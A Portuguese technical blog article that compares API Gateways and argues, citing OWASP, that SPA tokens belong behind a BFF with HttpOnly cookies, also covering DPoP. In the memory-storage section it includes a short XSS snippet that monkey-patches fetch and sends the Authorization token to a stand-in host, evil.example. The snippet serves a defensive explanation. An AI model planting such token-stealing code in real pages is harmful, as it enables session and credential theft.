Introdução

Abra o DevTools do seu navegador agora mesmo, vá até a aba Application e procure por tokens no localStorage, sessionStorage ou nos cookies. Se a sua aplicação é uma SPA — Angular, React, Vue — há uma boa chance de que um JWT esteja lá, totalmente legível, esperando que alguém com um mínimo de conhecimento técnico o copie e use. Um API Gateway pode validar esse token a cada request, rejeitar chamadas sem autenticação e aplicar rate limiting severo contra abusos. Mas ele não pode impedir que um script malicioso, injetado via XSS, roube o token antes mesmo que o request chegue ao gateway.

Esse é o paradoxo que quero explorar neste artigo. Em arquiteturas de microservices com SPAs no frontend, o API Gateway é uma peça essencial — centraliza autenticação, observabilidade e políticas de segurança em um único ponto. Porém ele não é bala de prata. A segurança real de tokens no browser depende de decisões arquiteturais que vão muito além de configurar um plugin de JWT no Kong ou no Azure APIM.

Este é o terceiro artigo da série Segurança para Devs. No primeiro artigo, cobri os fundamentos de JWT, OAuth2, OpenID Connect e os tipos de Client ID no Azure Entra ID. No segundo artigo, implementei o padrão BFF com ASP.NET Core 8, Angular 16+ e cookies HttpOnly. Agora vou fechar o ciclo respondendo perguntas que ficaram em aberto: o que é um API Gateway, quais são os projetos open source mais robustos, como ele se integra com BFF, e — a questão central — qual é a abordagem mais robusta segundo a OWASP para proteger tokens em SPAs.

Ao final deste artigo, você vai entender quando usar (e quando não usar) API Gateway, por que JWT é vulnerável em qualquer forma de armazenamento no browser — incluindo variáveis em memória — e por que a recomendação da OWASP é que o token simplesmente não exista no browser.


O Que é um API Gateway

Um API Gateway é o ponto único de entrada para todas as APIs de uma arquitetura de microservices. Diferente de um reverse proxy — que simplesmente encaminha requests para servidores backend — e de um load balancer — que distribui carga entre instâncias — o API Gateway entende as suas APIs. Ele sabe quem está chamando, qual endpoint está sendo acessado, se o token é válido, se o rate limit foi excedido, e pode transformar tanto o request quanto o response antes de chegar ao serviço final.

Na prática, o API Gateway funciona como um porteiro inteligente. Ele não apenas abre a porta — ele verifica identidade, aplica regras, registra quem entrou e pode até modificar a mensagem antes de entregá-la ao destinatário.

A confusão entre API Gateway, reverse proxy e load balancer é comum porque alguns produtos fazem mais de uma coisa. O NGINX, por exemplo, nasceu como web server e reverse proxy, mas com módulos extras pode funcionar como API Gateway. Para deixar claro onde cada um atua, veja a tabela abaixo:

AspectoReverse ProxyLoad BalancerAPI Gateway
Foco principalEncaminhar requestsDistribuir cargaGestão completa de APIs
AutenticaçãoBásica (IP, headers)NãoJWT, OAuth2, API keys, mTLS
Rate limitingBásicoNãoAvançado (por cliente, por API, quotas)
TransformaçãoCabeçalhosNãoRequest/response body e headers
ObservabilidadeLogs básicosMétricas de saúdeMétricas, logs, tracing distribuído
ExemplosNGINX, HAProxyAzure LB, AWS ELBKong, APISIX, Azure APIM

As responsabilidades típicas de um API Gateway incluem: routing inteligente, rate limiting e throttling, autenticação e autorização, transformação de request/response, observabilidade centralizada (métricas, logs e tracing distribuído), caching de respostas e API versioning. Todas essas preocupações transversais (cross-cutting concerns) ficam centralizadas em um único ponto em vez de serem reimplementadas em cada microservice.

ℹ️ Informação: Um reverse proxy encaminha requests. Um API Gateway entende suas APIs — quem está chamando, com qual token, sob qual política, e pode transformar a comunicação em ambas as direções.


Principais Players e Projetos Open Source

O ecossistema de API Gateways é extenso. Existem projetos open source robustos, soluções cloud-managed e gateways enterprise com licenciamento comercial. Vou focar nos projetos mais relevantes para quem desenvolve e opera microservices hoje.

Open Source

Kong é provavelmente o API Gateway open source mais conhecido. Construído sobre NGINX/OpenResty, usa Lua para plugins e oferece DB-less mode para configuração declarativa. O Kong Ingress Controller torna-o Kubernetes-native, e a comunidade é enorme — com centenas de plugins disponíveis no Kong Hub. É a escolha segura quando se busca maturidade e ecossistema.

Apache APISIX é o concorrente direto do Kong em performance. Usa etcd como backend (em vez de PostgreSQL), suporta plugins em Lua, Java, Go e Python, e vem com dashboard nativo. Incubado pela Apache Foundation, tem crescido rápido em adoção, especialmente em ambientes que exigem alta throughput com baixa latência.

Tyk é escrito em Go e se diferencia pelo suporte nativo a GraphQL, developer portal integrado e analytics built-in. Tem uma versão community (open source) e uma versão enterprise com features adicionais. É uma boa escolha quando o time já trabalha com GraphQL e quer um gateway que entenda esse protocolo nativamente.

KrakenD é stateless por design — não depende de banco de dados, toda a configuração é declarativa em JSON ou YAML. Escrito em Go, entrega performance extremamente alta e é ideal para cenários onde a simplicidade operacional é prioridade. Se você não quer gerenciar um PostgreSQL ou etcd só para o gateway, KrakenD resolve.

Traefik nasceu no ecossistema de containers e brilha no auto-discovery de serviços via Docker labels ou Kubernetes annotations. Gerenciamento de certificados Let’s Encrypt é automático, e a cadeia de middlewares é configurável de forma declarativa. Para quem já usa Docker Compose ou Kubernetes, Traefik é o gateway que “se configura sozinho”.

NGINX vai além de reverse proxy quando combinado com módulos Plus ou com o NGINX Gateway Fabric para Kubernetes. Embora não seja um API Gateway “de nascença”, a maturidade e estabilidade do projeto fazem dele uma escolha confiável para equipes que já dominam sua configuração.

Cloud e Enterprise

No universo cloud, os principais são: Azure API Management (APIM) — com developer portal, policies em XML/C# e integração com Azure Entra ID; AWS API Gateway — REST e WebSocket com integração Lambda e API keys nativo; Google Cloud Apigee — analytics avançado e monetização de APIs; e Cloudflare API Shield — proteção edge-based com mTLS nativo e DDoS integrado.

Comparativo Rápido

GatewayLinguagemLicençaK8s-nativeDestaque
KongLua/CApache 2.0SimMaior ecossistema de plugins
APISIXLuaApache 2.0SimPerformance raw mais alta
TykGoMPL 2.0SimGraphQL nativo
KrakenDGoApache 2.0SimStateless, declarativo
TraefikGoMITSimAuto-discovery de serviços
NGINXCBSDSim (Fabric)Maturidade, estabilidade

💡 Dica: Se o critério é performance pura, APISIX e KrakenD lideram. Se é ecossistema e maturidade, Kong e NGINX dominam. Se é facilidade operacional com containers, Traefik é difícil de bater.


Quando Usar e Quando NÃO Usar API Gateway

API Gateway é uma peça de infraestrutura poderosa, mas que adiciona complexidade operacional. Usá-lo sem necessidade real é over-engineering. Não usá-lo quando necessário é expor sua arquitetura a riscos e retrabalho.

Quando usar

  • Microservices com múltiplos consumers — web, mobile, IoT, parceiros externos acessando as mesmas APIs. O gateway centraliza autenticação e políticas sem que cada serviço reimplemente.
  • Cross-cutting concerns centralizados — autenticação, rate limiting, logging, caching. Sem gateway, cada microservice precisa de sua própria implementação, gerando inconsistência e duplicação.
  • Multi-tenancy e rate limiting por cliente — quando diferentes clientes ou planos de assinatura têm limites distintos de consumo. O gateway aplica essas políticas sem que os serviços precisem conhecê-las.
  • API versioning e deprecation control — migrar de v1 para v2 sem quebrar clientes. O gateway roteia baseado na versão, enquanto ambas as implementações coexistem.
  • Transformação de protocolos — frontend fala REST, backend fala gRPC. O gateway faz a tradução, evitando que o frontend precise entender protocolos internos.
  • Compliance e auditoria — requisitos como PCI-DSS e LGPD exigem logs centralizados de quem acessou o quê e quando. O gateway é o ponto natural para essa captura.

Quando NÃO usar

  • Monolito simples com único frontend — adicionar API Gateway para um monolito que serve um único SPA é complexidade desnecessária. Um NGINX como reverse proxy é suficiente.
  • 2-3 APIs internas sem exposição externa — se tudo está na mesma rede interna e há poucos serviços, a comunicação direta é mais simples. YAGNI (You Aren’t Gonna Need It).
  • Equipe pequena sem capacidade operacional — um API Gateway é mais uma peça de infraestrutura para monitorar, atualizar e debugar. Se a equipe mal consegue manter o que já existe, adicionar um gateway piora a situação.

O Anti-Pattern: Gateway Gordo

Um erro comum é usar o API Gateway como orquestrador de lógica de negócio. O gateway deve fazer routing e aplicar policies — nunca orquestração de fluxo. Se o gateway decide “chamar API A, depois API B, depois API C com o resultado combinado”, isso é responsabilidade de um BFF ou de um padrão de saga, não do gateway.

⚠️ Atenção: API Gateway gordo é um monolito disfarçado. Se tem lógica de negócio no gateway, algo está errado. Ele deve ser uma camada fina de políticas e roteamento, não um orquestrador de workflow.


API Gateway e a Segurança em Arquiteturas SPA

Esta é a seção central deste artigo. Aqui vou explicar o que o API Gateway pode (e o que não pode) fazer pela segurança de uma SPA, e por que o JWT é vulnerável independente de onde esteja armazenado no browser.

O Problema Fundamental

SPAs são Public Clients — rodam inteiramente no browser do usuário, sem capacidade de guardar segredos. Não existe secret client seguro no frontend. O código JavaScript é acessível via DevTools, o network tab mostra cada request, e qualquer armazenamento no browser é acessível via JavaScript. Esse é o contexto no qual o JWT precisa operar, e é aí que a maioria das arquiteturas falha.

Se você ainda não está familiarizado com os fundamentos de JWT, OAuth2 e tipos de client, recomendo ler o primeiro artigo da série antes de continuar.

O Que o API Gateway PODE Fazer

O API Gateway é muito eficiente em validar tokens e aplicar políticas de forma centralizada:

  • JWT validation centralizada — verifica signature, issuer, audience e expiration em um único ponto, em vez de cada microservice reimplementar a validação. Um token rejeitado no gateway nunca chega aos serviços internos.
  • Rate limiting contra brute force e abuso — limitar chamadas por IP, por token ou por cliente reduz a superfície de ataque para ataques automatizados.
  • IP allowlisting e blocklisting — restringir acesso a endpoints críticos por faixa de IP ou bloquear IPs suspeitos em tempo real.
  • Transformação de request/response — remover claims sensíveis antes de devolver a resposta ao client, ou adicionar headers de segurança que o serviço backend não conhece.
  • mTLS entre gateway e backend — garantir que somente o gateway acessa os microservices. Mesmo que um atacante descubra um endpoint interno, sem o certificado do gateway não consegue chamar diretamente.
  • CORS enforcement centralizado — definir quais origens podem chamar quais APIs, em vez de cada microservice configurar CORS independentemente (e potencialmente errar).

Exemplo de configuração no Kong com plugins de JWT, rate limiting e CORS:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
plugins:
  - name: jwt
    config:
      claims_to_verify:
        - exp
        - nbf
      key_claim_name: iss
  - name: rate-limiting
    config:
      minute: 100
      policy: local
  - name: cors
    config:
      origins:
        - https://minha-spa.com
      methods:
        - GET
        - POST
      headers:
        - Authorization
        - Content-Type

Essa configuração valida tokens JWT automaticamente, limita cada consumidor a 100 requests por minuto e restringe CORS apenas à origem legítima da SPA. Tudo centralizado, sem que os microservices precisem saber.

O Que o API Gateway NÃO Resolve — Token Vulnerável em QUALQUER Armazenamento no Browser

Aqui é onde a maioria dos artigos sobre API Gateway para. Eles mostram a configuração de JWT validation, declaram vitória e seguem em frente. Mas o problema real não é validar o token — é que o token existe no browser em primeiro lugar.

Vou percorrer cada método de armazenamento para demonstrar que nenhum é seguro quando um XSS é explorado:

localStorage e sessionStorage — o método mais comum e mais vulnerável. O token persiste (localStorage) ou vive até o fechamento da aba (sessionStorage), e qualquer JavaScript na página pode lê-lo com window.localStorage.getItem('token'). Um script malicioso injetado via XSS faz exatamente isso.

Cookie sem HttpOnly — desenvolvedores que migram de localStorage para cookies sem configurar a flag HttpOnly não ganham nada. O cookie continua acessível via document.cookie, tão legível via JavaScript quanto localStorage.

Variáveis em memória — closures, module scope, Redux store, NgRx store, variável global. Este é o ponto que muitos desenvolvedores erram ao acreditar que “se não persistir, está seguro”. O raciocínio é: “o token existe apenas em memória JavaScript, não está em nenhum storage persistente, logo XSS não consegue acessá-lo”. Está errado. O XSS injeta um script que roda no mesmo contexto de execução JavaScript da aplicação. Isso significa que o atacante pode:

  1. Ler diretamente variáveis e stores do framework — se o token está em um Redux store, o script acessa window.__REDUX_STORE__ ou qualquer referência global. Se está em uma variável exportada de um módulo, importações dinâmicas ou referências de escopo podem alcançá-la.

  2. Fazer monkey-patch de fetch e XMLHttpRequest para interceptar o header Authorization: Bearer ... em trânsito — mesmo que o token esteja numa closure inacessível, no momento em que a aplicação envia um request com o token no header, o atacante captura:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// Script malicioso injetado via XSS
const originalFetch = window.fetch;
window.fetch = function(...args) {
  const headers = args[1]?.headers;
  if (headers?.Authorization) {
    // Token capturado — enviar para servidor do atacante
    navigator.sendBeacon('https://evil.example/steal', headers.Authorization);
  }
  return originalFetch.apply(this, args);
};
  1. Hookear interceptors do framework — Angular HttpInterceptor, Axios interceptors, ou qualquer middleware que adiciona o token aos requests. O atacante substitui o interceptor original por um que copia o token antes de adicioná-lo ao header.

Web Worker — mesmo isolando o token em um Web Worker, ele precisa devolver o token (ou enviá-lo como parte de um request) ao main thread via postMessage(). Nesse momento, o script malicioso que está ouvindo eventos de message no main thread intercepta o token.

⚠️ Atenção: Se um atacante consegue XSS, ele controla o runtime JavaScript inteiro. Não importa ONDE o token está na memória do browser — se o JavaScript da aplicação consegue acessá-lo para enviar requests, o script malicioso também consegue. A superfície de ataque não é o “local de armazenamento”, é o contexto de execução compartilhado do JavaScript.

O veredicto: se o token existe no browser em qualquer forma acessível ao JavaScript — seja localStorage, cookie sem HttpOnly, closure, Redux store, Web Worker com postMessage — um XSS significa game over. O API Gateway valida tokens no lado do servidor, mas não tem como resolver um problema que acontece inteiramente no browser, antes do request chegar à rede. A recomendação é clara: o token não deve existir no browser. É exatamente isso que o padrão BFF com HttpOnly cookies resolve.

Token vulnerável em qualquer armazenamento no browser — localStorage, sessionStorage, cookie sem HttpOnly, variável JavaScript e Web Worker são todos acessíveis via XSS


API Gateway + BFF: Faz Sentido?

Sim, faz — mas depende do tamanho e da complexidade da sua arquitetura. API Gateway e BFF resolvem problemas diferentes e, quando combinados, criam uma arquitetura de segurança robusta onde cada peça tem uma responsabilidade clara.

A Arquitetura Combinada

O fluxo completo fica assim:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
┌─────────┐     ┌─────────┐      ┌──────────────┐     ┌──────────────┐
│   SPA   │────>│  NGINX  │────> │     BFF      │────>│ API Gateway  │
│(Angular)│     │(reverse │      │(ASP.NET Core)│     │  (Kong/APIM) │
│         │<────│ proxy)  │<──── │              │<────│              │
└─────────┘     └─────────┘      └──────────────┘     └──────┬───────┘
                                           ┌─────────────────┼─────────────┐
                                           │                 │             │
                                     ┌─────▼────┐     ┌──────▼─────┐  ┌────▼─────┐
                                     │ API Users│     │ API Orders │  │ API Stock│
                                     └──────────┘     └────────────┘  └──────────┘

Nessa arquitetura, o BFF gerencia toda a autenticação do usuário — sessão, cookies HttpOnly, token refresh. O token nunca chega ao browser. O BFF obtém o token do Identity Provider, armazena no servidor e envia apenas um cookie de sessão HttpOnly para o browser. Cada request da SPA inclui esse cookie automaticamente, e o BFF injeta o token real antes de encaminhar ao API Gateway.

O API Gateway recebe o request já autenticado (com o token real no header) e aplica suas políticas: validação de JWT, rate limiting, mTLS para os backends, versionamento de APIs e observabilidade centralizada. Ele não sabe nem se importa que o request veio de um BFF — ele apenas valida e roteia.

Separação de Responsabilidades

ResponsabilidadeBFFAPI Gateway
Autenticação do usuário
Sessão e cookies HttpOnly
Token refresh
JWT validation
Rate limitingBásico✅ Avançado
mTLS para backends
API versioning
CORSParcial
ObservabilidadeParcial✅ Centralizado

O BFF é confidential client — possui client_secret, roda no servidor, e pode autenticar de forma segura com o Identity Provider. O API Gateway é o policy enforcement point — valida tokens, aplica rate limiting e garante que apenas requests autorizados cheguem aos microservices.

Para detalhes de implementação do BFF com ASP.NET Core 8, YARP e Angular 16+, veja o artigo anterior da série.

Quando Faz Sentido e Quando é Overkill

A combinação BFF + API Gateway faz sentido quando:

  • Equipes grandes operam dezenas de microservices com múltiplos frontends (web, mobile, IoT)
  • Múltiplos consumers acessam as mesmas APIs — cada consumer pode ter seu próprio BFF, mas todos passam pelo mesmo gateway
  • Requisitos enterprise como multi-tenancy, API monetização, ou compliance PCI-DSS exigem governança centralizada

Já quando a equipe é pequena, os serviços são poucos e há um único frontend, o BFF sozinho com NGINX como reverse proxy é suficiente. Adicionar um API Gateway nesse cenário é complexidade operacional sem benefício proporcional.

💡 Dica: Se sua equipe opera 3 APIs internas e um único frontend, BFF + NGINX é suficiente. API Gateway brilha quando há escala, múltiplos consumers, ou requisitos enterprise. Não adicione complexidade sem necessidade real.


OWASP: A Abordagem Mais Robusta para JWT em SPAs

A OWASP e o IETF mantêm o draft OAuth 2.0 for Browser-Based Applications, que é a referência mais atual para autenticação em SPAs. Esse documento deixa claro: nenhum armazenamento no browser é seguro contra XSS.

Por Que NENHUM Armazenamento no Browser é Seguro

Reforçando o que demonstrei na Seção 5 com um resumo consolidado:

Método de ArmazenamentoVulnerável a XSS?Como o Atacante Acessa
localStorage✅ Simwindow.localStorage.getItem('token')
sessionStorage✅ SimMesmo acesso via JS, apenas escopo de aba
Cookie sem HttpOnly✅ Simdocument.cookie
Variável JS em memória✅ SimMesmo contexto de execução — monkey-patch de fetch/XHR intercepta o header Authorization
Web Worker✅ Sim*Token precisa voltar ao main thread via postMessage()

O denominador comum é simples: qualquer coisa acessível ao JavaScript da aplicação é acessível a um script injetado via XSS. O browser não diferencia “seu código legítimo” de “script malicioso injetado” — ambos rodam no mesmo sandbox, com os mesmos privilégios, no mesmo contexto de execução.

Hierarquia de Abordagens — Da Menos Para Mais Segura

  1. localStorage + Access Token direto — XSS lê diretamente. É o cenário mais vulnerável e mais comum.
  2. sessionStorage + PKCE — mesmo problema do localStorage, apenas com escopo reduzido à aba do browser. Se o atacante tem XSS, ele está na mesma aba.
  3. Variável em memória / closure — monkey-patch de fetch ou XMLHttpRequest intercepta o token em trânsito, como demonstrado anteriormente. A falsa sensação de segurança é o maior risco aqui.
  4. ⚠️ Service Worker como Token Mediator — o token fica isolado no Service Worker context, inacessível ao main thread JavaScript. O Service Worker intercepta requests da SPA e injeta o token automaticamente. É uma abordagem melhor, mas com limitações significativas: o Service Worker pode ser desregistrado pelo browser, não funciona em modo incógnito em alguns browsers, e a complexidade de implementação é alta. Poucos frameworks suportam nativamente.
  5. ✅✅ BFF Pattern com HttpOnly cookies — o token nunca chega ao browser. O BFF, como confidential client no servidor, obtém e armazena o token. Apenas um cookie de sessão HttpOnly (inacessível ao JavaScript) trafega entre browser e servidor. XSS não tem o que roubar.

Token Mediator Pattern

O Token Mediator é a recomendação alternativa da OWASP para quando o BFF não é viável. A ideia é usar um Service Worker que intercepta todos os requests da SPA. Quando a SPA faz um fetch(), o Service Worker captura o request, adiciona o token ao header Authorization e encaminha ao servidor. O token fica armazenado apenas no contexto do Service Worker, que é separado do main thread JavaScript.

Na teoria, isso impede que XSS no main thread acesse o token. Na prática, existem limitações que fazem do Token Mediator uma alternativa inferior ao BFF: o browser pode desregistrar Service Workers sob pressão de memória, nem todos os browsers mantêm Service Workers ativos em modo incógnito, e a complexidade de implementar refresh token dentro de um Service Worker (que não tem acesso a DOM ou localStorage) é significativa.

Mitigações no Browser — Defesa em Profundidade

Mesmo com BFF, é fundamental aplicar camadas de defesa no browser para reduzir a probabilidade de XSS em primeiro lugar:

  • Content Security Policy (CSP) rigoroso — configure script-src 'self' sem unsafe-inline e sem unsafe-eval. Isso bloqueia a execução de scripts inline injetados via XSS, reduzindo drasticamente a superfície de injeção.
  • Subresource Integrity (SRI) para scripts externos — garante que scripts carregados de CDNs não foram comprometidos. Se o hash não bate, o browser bloqueia a execução.
  • Trusted Types API — previne DOM-based XSS impedindo o uso de innerHTML, eval() e outras sinks perigosas sem validação explícita. É suportada pelo Chrome e Edge.
  • DPoP (Demonstration of Proof-of-Possession) — torna o token roubado inútil sem a chave privada correspondente. Detalhado na próxima seção.
  • Short-lived access tokens (1-5 minutos) — reduz a janela de ataque. Mesmo que o token seja roubado, expira rapidamente.

⚠️ Atenção: Essas medidas são camadas de defesa (defense in depth), não soluções definitivas. Se XSS ocorre, o atacante pode operar em tempo real — mesmo com token de 1 minuto, ele age nos 60 segundos disponíveis. Automação torna isso trivial.

Veredicto OWASP

A abordagem mais robusta segundo a OWASP é BFF + HttpOnly cookies + CSP rigoroso. O token não deve existir no browser em nenhuma forma acessível ao JavaScript. O Token Mediator com Service Worker é uma alternativa válida quando BFF não é viável, mas com trade-offs significativos. Variáveis em memória, closures e stores não são alternativas seguras — são apenas uma falsa sensação de proteção que pode ser mais perigosa do que localStorage, porque os desenvolvedores baixam a guarda.


DPoP: Tokens à Prova de Roubo

O DPoP — Demonstration of Proof-of-Possession (RFC 9449) — é um mecanismo que vincula um token de acesso a um par de chaves criptográficas específico. Mesmo que o token seja interceptado, ele é inútil sem a chave privada correspondente.

Como Funciona

O fluxo é direto: o browser gera um par de chaves assimétrico usando a Web Crypto API (CryptoKey). Ao solicitar um token ao Authorization Server, o browser envia um proof JWT assinado com a chave privada. O Authorization Server vincula o access token à chave pública do browser. Em cada request subsequente, o browser envia o access token junto com um novo proof JWT assinado com a mesma chave privada. O API Gateway (ou o resource server) valida tanto o token quanto o proof.

O resultado: se um atacante rouba o access token via XSS, ele não possui a chave privada (que é um CryptoKey não-exportável armazenado no browser). Sem a chave privada, o atacante não consegue gerar proofs válidos, e o servidor rejeita o token.

Quando Usar

DPoP brilha quando o BFF não é viável — por exemplo, em mobile apps, SPAs sem backend dedicado, ou aplicações de terceiros que não controlam a infraestrutura de servidor. Nesses cenários, DPoP é a melhor proteção disponível contra token replay e roubo, pois adiciona uma camada de proof-of-possession que o Bearer token simples não tem.

Kong e Azure APIM suportam políticas customizadas para validar DPoP proofs, permitindo que o API Gateway rejeite tokens sem proof válido.

Limitações

DPoP não é perfeito. A complexidade de implementação é maior que Bearer tokens simples, e nem todos os Identity Providers suportam DPoP ainda. A chave privada, embora seja um CryptoKey não-exportável, ainda está na memória do browser — um ataque XSS sofisticado poderia, em teoria, usar a chave para gerar proofs (sem extraí-la), realizando requests autenticados em tempo real. Porém, isso é significativamente mais difícil do que simplesmente copiar um Bearer token.

💡 Dica: DPoP não substitui BFF, mas é a melhor proteção disponível quando BFF não é uma opção. Se você pode usar BFF, use BFF. Se não pode, DPoP é o próximo nível de proteção — muito superior a Bearer tokens simples.


Dicas e Boas Práticas

Aqui está uma síntese das lições mais importantes deste artigo, consolidadas como referência rápida:

  • Não use API Gateway como orquestrador — o gateway é uma camada fina de políticas e roteamento. Se tem lógica de negócio como “chamar API A, depois API B, combinar resultados”, isso pertence ao BFF ou a um serviço de orquestração dedicado. Gateway gordo vira monolito disfarçado.

  • Centralize autenticação no gateway, não nos microservices — cada microservice que reimplementa validação de JWT é uma oportunidade de inconsistência e falha de segurança. O gateway valida uma vez, os serviços confiam no gateway (validando via mTLS que o request veio dele).

  • Tokens no browser = risco aceito — se sua SPA armazena JWT em localStorage, sessionStorage, cookies sem HttpOnly ou variáveis em memória, aceite explicitamente o risco de XSS. Documente essa decisão arquitetural. Se o risco não é aceitável, migre para BFF com HttpOnly cookies.

  • CSP é sua primeira linha de defesa — um Content Security Policy rigoroso (script-src 'self', sem unsafe-inline) bloqueia a maioria dos vetores de XSS antes que eles possam executar. Implemente CSP antes de qualquer outra mitigação.

  • Não adicione complexidade sem necessidade — BFF sozinho com NGINX como reverse proxy é suficiente para a maioria das equipes pequenas e médias. API Gateway adiciona valor quando há escala, múltiplos consumers, ou requisitos enterprise de governança. Avalie honestamente se sua arquitetura precisa de cada peça.

  • Short-lived tokens reduzem, não eliminam, o risco — tokens com expiração de 1-5 minutos limitam a janela de ataque, mas com automação um atacante age em segundos. Combine short-lived tokens com DPoP (se sem BFF) ou HttpOnly cookies (com BFF) para proteção efetiva.

  • mTLS entre gateway e backends não é opcional — sem mTLS, um atacante que descobre endpoints internos pode chamar microservices diretamente, bypassando todas as políticas do gateway. mTLS garante que somente o gateway é aceito como caller.


Conclusão

O API Gateway é uma peça fundamental em qualquer arquitetura de microservices séria. Ele centraliza preocupações transversais — autenticação, rate limiting, observabilidade, versionamento de APIs — que, sem um gateway, seriam reimplementadas de forma inconsistente em cada serviço. Os projetos open source como Kong, APISIX, Tyk, KrakenD e Traefik oferecem opções maduras para cada perfil de equipe e cenário operacional.

Mas segurança de tokens em uma SPA é um problema do browser, não da rede. O API Gateway valida tokens no servidor, e isso é importante — mas não resolve o fato de que um XSS comprometeu o runtime JavaScript no browser antes do request chegar ao gateway. O token em localStorage é acessível. O token em sessionStorage é acessível. O token numa closure ou Redux store é acessível via monkey-patch do fetch. O token num Web Worker precisa transitar pelo postMessage. Em todos os casos, XSS significa game over.

A recomendação da OWASP é clara: o token não deve existir no browser em nenhuma forma acessível ao JavaScript. BFF com HttpOnly cookies é a abordagem mais robusta — o BFF autentica como confidential client, armazena tokens no servidor, e envia apenas cookies de sessão HttpOnly para o browser. Para cenários onde BFF não é viável, DPoP (RFC 9449) adiciona proof-of-possession que torna tokens roubados inúteis sem a chave privada.

API Gateway valida tokens. BFF protege tokens. Combinados, são invencíveis.

Se quiser colocar os conceitos em prática, o segundo artigo da série tem uma implementação completa com ASP.NET Core 8, Angular 16+ e Keycloak. E para os fundamentos de JWT, OAuth2 e OpenID Connect que sustentam tudo isso, volte ao primeiro artigo.


Leia Também


Referências